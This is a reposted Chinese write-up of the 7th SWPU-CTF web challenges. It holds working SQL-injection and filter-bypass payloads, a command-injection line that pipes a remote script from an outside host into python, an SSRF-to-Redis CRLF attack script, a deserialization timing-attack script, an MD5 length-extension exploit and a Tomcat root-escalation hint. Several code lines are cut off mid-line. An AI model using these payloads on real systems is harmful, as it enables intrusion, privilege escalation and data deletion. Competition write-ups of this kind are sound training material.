第七届swpu-ctf-web的writeup

转载

dengzhasong7076 于 2016-10-29 13:03:00 发布 256 收藏
文章标签： php java shell
原文链接：http://www.cnblogs.com/iamstudy/articles/7th_swpu_ctf_web_writeup.html

web100

一个上传包含题目：phar可以使用相对路径，zip好像需要绝对路径。

web200-3

拿到web100的shell后，是tip里面提示又tomcat，通过
ps -aux
看到tomcat的网站目录，上传一个shell后就是一个tomcat权限。

然后用国庆期间出来的一个tomcat提权，网上都有一个坑点...就是sh里面油\r字符。

```
sed -i 's/\r$//' xxx.sh
```

然后上传这个sh文件就好了。 不要复制、不要复制、不要复制。替换后直接上传。

然后运行后再kill一下tomcat的进程，最后服务重启就可以拿到root权限啦。

web200-1

过滤了很多东西：

```
<?php
class fiter{
    var $str;
    var $order;

    function sql_clean($str){
        if(is_array($str)){
            echo "<script> alert('not array!!@_@');parent.location.href='index.php'; </script>";exit;
        }
        $filter = "/ |\*|#|,|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("
        if(preg_match($filter,$str)){
            echo "<script> alert('illegal character!!@_@');parent.location.href='index.php'; </script>";exi
        }else if(strrpos($str,urldecode("%00"))){
            echo "<script> alert('illegal character!!@_@');parent.location.href='index.php'; </script>";exi
        }
        return $this->str=$str;
    }

    function ord_clean($ord){
        $filter = " |bash|perl|nc|java|php|>|>>|wget|ftp|python|sh";
        if (preg_match("/".$filter."/i",$ord) == 1){
            return $this->order = "";
        }
        return $this->order = $ord;
    }
}
```

一个登陆页面，没有逗号，没有for，没有like，没有regexp等，这样出数据就比较麻烦。

select * from admin where name=''
通过注入'-0-'0
select * from admin where name='a'-0-'0'
也就是中间的0可以构造语句了。

类似的还可以用+ % 等运算符。这是因为类型的转换。

所以可以用两种方法做出来，第一个姿势是mid的，可以通过mid((password)from(1))这样来截取字符，第二个是用leading来分割字符，一位位的猜解。

```
uname=12'%(ascii(mid((passwd)from(1)))>0)%'1&passwd=dddd
uname=admin'-(length(trim(leading%a0'c12366feb73§2§'%a0from%a0passwd))=20)-'0&passwd=1
```

进入后台是一个命令执行。分割一下敏感字符就好了

```
a=py;b=thon;curl${IFS}http://ip/lemon.py|$($a$b)
```

web200-2

```
index.php

if (isset($_COOKIE['user'])) {
    $login = @unserialize(base64_decode($_COOKIE['user']));
    if (!empty($login->pass)) {
        $status = $login->check_login();
```

```
        $status = $login->check_login();
        if ($status == 1) {
            $_SESSION['login'] = 1;
            var_dump("login by cookie!!!");
        }
    }
}

function.php
<?php
class help {

    static function addslashes_deep($value) {
        if (empty($value)) {
            return $value;
        } else {
            if (!get_magic_quotes_gpc()) {
                $value = is_array($value) ? array_map("help::addslashes_deep", $value) : help::mystrip_tags
            } else {
                $value = is_array($value) ? array_map("help::addslashes_deep", $value) : help::mystrip_tags
            }
            return $value;
        }
    }
    static function remove_xss($string) {
        $string = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $string);
        $parm1 = Array('javascript', 'union', 'vbscript', 'expression', 'applet', 'xml', 'blink', 'link', '
        $parm2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbef
        $parm3 = Array('alert', 'sleep', 'load_file', 'confirm', 'prompt', 'benchmark', 'select', 'and', 'o
        $parm = array_merge($parm1, $parm2, $parm3);
        for ($i = 0; $i < sizeof($parm); $i++) {
            $pattern = '/';
            for ($j = 0;
                $j < strlen($parm[$i]); $j++) {
                if ($j > 0) {
                    $pattern .= '(';
                    $pattern .= '(&#[x|X]0([9][a][b]);?)?';
                    $pattern .= '|(&#([9][10][13]);?)?';
                    $pattern .= ')?';}
                $pattern .= $parm[$i][$j];
            }
            $pattern .= '/i';
            $string = preg_replace($pattern, '****', $string);
        }
        return $string;
    }
    static function mystrip_tags($string) {
        $string = help::new_html_special_chars($string);
        $string = help::remove_xss($string);
        return $string;
    }
    static function new_html_special_chars($string) {
        $string = str_replace(array('&', '"', '<', '>', '&#'), array('&', '"', '<', '>', '***'), $string);
        return $string;
    }
    static function htmlspecialchars_($value) {
        if (empty($value)) {
            return $value;
        } else {
            if (is_array($value)) {
```

```
                foreach ($value as $k => $v) {
                    $value[$k] = self::htmlspecialchars_($v);
                }
            } else {
                $value = htmlspecialchars($value);
            }
            return $value;
        }
    }
    static function CheckSql($db_string, $querytype = 'select') {
        $clean = '';
        $error = '';
        $old_pos = 0;
        $pos = -1;
        if ($querytype == 'select') {
            $notallow1 = "[^0-9a-z@\._-]{1,}(load_file|outfile)[^0-9a-z@\.-]{1,}";
            if (preg_match("/" . $notallow1 . "/i", $db_string)) {
                exit("Error");
            }
        }

        while (TRUE) {
            $pos = strpos($db_string, '\'', $pos + 1);
            if ($pos === FALSE) {
                break;
            }
            $clean .= substr($db_string, $old_pos, $pos - $old_pos);
            while (TRUE) {
                $pos1 = strpos($db_string, '\'', $pos + 1);
                $pos2 = strpos($db_string, '\\', $pos + 1);
                if ($pos1 === FALSE) {
                    break;
                } elseif ($pos2 == FALSE || $pos2 > $pos1) {
                    $pos = $pos1;
                    break;
                }
                $pos = $pos2 + 1;
            }
            $clean .= '$s$';
            $old_pos = $pos + 1;
        }
        $clean .= substr($db_string, $old_pos);

        $clean = trim(strtolower(preg_replace(array('~\s+~s'), array(' '), $clean)));
        var_dump($clean);

        if (strpos($clean, '@') !== FALSE OR strpos($clean, 'char(') !== FALSE OR strpos($clean, '"') !== F
            $fail = TRUE;
            if (preg_match("#^create table#i", $clean)) {
                $fail = FALSE;
            }
            $error = "unusual character";
        } elseif (strpos($clean, '/*') !== FALSE || strpos($clean, '-- ') !== FALSE || strpos($clean, '#')
            $fail = TRUE;
            $error = "comment detect";
        } elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~is', $clean)
            $fail = TRUE;
            $error = "slown down detect";
        } elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~is',
            $fail = TRUE
```

```
            $fail = TRUE;
            $error = "slown down detect";
        } elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^a-z])~is',
            $fail = TRUE;
            $error = "file fun detect";
        } elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^a-
            $fail = TRUE;
            $error = "file fun detect";
        }

        if (!empty($fail)) {
            exit("Error" . $error);
        } else {
            return $db_string;
        }
    }
}

class login {
    var $uid = 0;
    var $name = "";
    var $pass = '';

    public function check_login() {
        //mysql_conn();
        $sqls = "select * from phpinfoadmin where username='$this->name'";
        $sqls = help::CheckSql($sqls);
        var_dump($sqls);
        //$re = mysql_query($sqls);
        $results = @mysql_fetch_array($re);
        //echo $sqls . $results['passwd'];
        //mysql_close();
        if (!empty($results)) {
            if ($results['passwd'] == $this->pass) {
                return 1;
            } else {
                return 0;
            }
        }
    }

    public function __destruct() {
        $this->check_login();
    }

    public function __wakeup() {
        $this->name = help::addslashes_deep($this->name);
        $this->pass = help::addslashes_deep($this->pass);
    }
}
```

这是80sec的waf，网上流传的对这个waf的绕过是用@'将单引号看成是一个变量，然后在这个waf有一个特性就是会把单引号里面的内容替换为\(s\)，如果是这样的一个语句：

```
select * from admin where id='1' or char(@``) or sleep(5) ';
```

替换之后就是，然后再经过关键字检测的时候就没有敏感词啦。

```
select * from admin where id=$s$ or @`$s$;
```

类似于@'的绕过还有：双印号"" 和 反印号 '.``.password

这题只能用最后的反引号来解：
然后还有一个就是反序化的属性修改对wakeup的绕过。

```
import time
import requests
import base64
url='http://web3.08067.me/wakeup/index.php'
string = '!@#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~'

for s in string:
    k = ord(s)
    print chr(k),

    a=requests.session()
    start_time = time.time()
    a="O:5:\"login\":4:{s:3:\"uid\";i:0;s:4:\"name\";s:83:\"a' and `'`.``.id or if(ascii(substr((select fla
    b=base64.b64encode(veneno)
    b=a.get(url,cookies={"user":b})
    now_time = time.time()-start_time
    print now_time
    print chr(k)
    print '---'
    print chr(k+1)
```

其中还特别需要小心的是反序化的时候的字符串长度，ascii字符的长度，有些小写字母长度就是三位数了，有些字符是两位数。

flag{WakEup!_v1ry_f4N}

web200-4

利用的是python url lib的ssrf漏洞来攻击redis
需要多线程来修改其中的值，然后进入后台拿到flag。

```
import requests
import threading
def test():
    while True:
        try:
            url = "http://web7.08067.me/web7/input"
            data = {'value': 'http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilen
            requests.post(url, data=data)
        except Exception, e:
            pass
def test2():
    while True:
        try:
            url = "http://web7.08067.me/web7/admin"
            data = {'passworld': 'xx00'}
            text = requests.post(url, data=data).text
            if 'flag' in text:
                print text
        except:
            pass
list = []
for i in range(10):
    t = threading.Thread(target=test)
    t.setDaemon(True)
    t.start()
    list.append(t)
for i in range(10):
    t = threading.Thread(target=test2)
    t.setDaemon(True)
    t.start()
    list.append(t)
for i in list:
    i.join()
```

web300

ssrf题目，
通过file协议得到dns是一个内网ip，然后扫描得到本机地址是172.16.181.165，内网目标是172.16.181.166
扫描目录有一个admin目录，

然后本地弄一个gopher的ss

最后通过注入可以拿到flag：

```
proxychains curl --data "username=1' and 1=2 union select 'c4ca4238a0b923820dcc509a6f75849b','c4ca4238a0b92
```

web400

嗯....有源码下载：http://web4.08067.me/web/web.zip

在api.php中可以删除用户和删除评论。

```
class admin {
    var $name;
    var $check;
```

```
    var $data;
    var $method;
    var $userid;
    var $msgid;

    function check() {
        $username = addslashes($this->name);
        @mysql_conn();
        $sql = "select * from user where name='$username'";
        $result = @mysql_fetch_array(mysql_query($sql));
        mysql_close();
        if (!empty($result)) {
            if ($this->check === md5($result['salt'] . $this->data . $username)) {
                echo '(=-=)!!';
                if ($result['role'] == 1) {
                    return 1;
                } else {
                    return 0;
                }
            } else {
                return 0;
            }
        } else {
            return 0;
        }
    }

    function do_method() {
        if ($this->check() === 1) {
            if ($this->method === 'del_msg') {
                $this->del_msg();
            } elseif ($this->method === 'del_user') {
                $this->del_user();
            } else {
                exit();
            }
        }
    }

    function del_user() {
        if ($this->userid) {
            $user_id = intval($this->userid);
            if ($user_id == 1) {
                echo ('<script>alert("Admin can\'t delete!!")</script>');
                exit();
            }
            @mysql_conn();
            $sql2 = "DELETE FROM user where userid='$user_id'";
            if (mysql_query($sql2)) {
                echo ('<script>alert("Delete user success!!")</script>');
                exit();
            } else {
                echo ('<script>alert("Delete user wrong!!")</script>');
                exit();
            }

            mysql_close();
        } else {
            echo ('<script>alert("Check Your user_id!!")</script>');
            exit();
```

```
            exit();
        }
    }
}
$a = unserialize(base64_decode($api));
$a->do_method();
```

这一段可以用md5的hash扩展来实现用户的删除：

```
if ($this->check === md5($result['salt'] . $this->data . $username))
```

在forget.php中

```
if(@$forget==1)
{

    @mysql_conn();
    $sql = "select * from user where name='$username'";
    $result = @mysql_fetch_array(mysql_query($sql));
    mysql_close();
    if (!empty($result))
    {

        if($result['salt'])
        {
            $check = base64_encode(md5($result['salt']));
            $name = $result['name'];
            header("Location:/web/repass.php?username=$name&check=$check&mibao=$mibao&pass=$pass");
        }
        else
        {
            echo("<script>alert('Get salt Worng?')</script>");
        }
    }
    else
    {
        echo("<script>alert('Please check!!?')</script>");
    }
}
```

直接就泄漏了md5加密的salt。

hash扩展的利用是这样的

```
题目：$check = md5($salt. $text);
已知：$text的内容是为xxx，$check也知道，$salt的长度知道，但是不知道其中的值具体是多少。
这样可以推算出：md5($salt. $text. $add) ，这个md5值就可以算出来。
其中$add是我们可以任意添加的数据。
```

所以在此题中，\(text是为空的， 然后\)add的数据就是admin这个用户名。

然后构造序列化exp:

```php
<?php
class admin {
    var $name = "admin";
    var $check = "8f4d7a58b13a34d34f8384595a3de5f7";
    var $data;
    var $method = "del_user";
    var $userid = "41";
}
$user = new admin();
$user->data = $_POST['data'];
echo base64_encode(serialize($user));
?>
```

post：
data=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%

注意不要把data里面的数据硬编码到脚本里面.....

这样就可以删除指定id的用户。

```
sqli注入漏洞点：
foreach(Array("_POST","_GET","_COOKIE") as $key){
    foreach($$key as $k => $v){
        if(is_array($v)){
        die("hello,hacker!");
        }
        else{
            $k[0] !='_'?$$k = addslashes($v):$$k = "";
        }
    }
}

if ($_SESSION['user']) {
    $username = $_SESSION['user'];
    @mysql_conn();
    $sql = "select * from user where name='$username'";
    $result = @mysql_fetch_array(mysql_query($sql));
    mysql_close();
    if ($result['userid']) {
        $id = intval($result['userid']);
    }
} else {
    exit();
}

$sql1 = "select * from msg where userid= $id order by id";
$query = mysql_query($sql1);
```

也就是当用户不在数据库的时候，那个id不会被intval，其中id又可以通过前面的变量覆盖来赋值，导致无限制注入。

转载于:https://www.cnblogs.com/iamstudy/articles/7th_swpu_ctf_web_writeup.html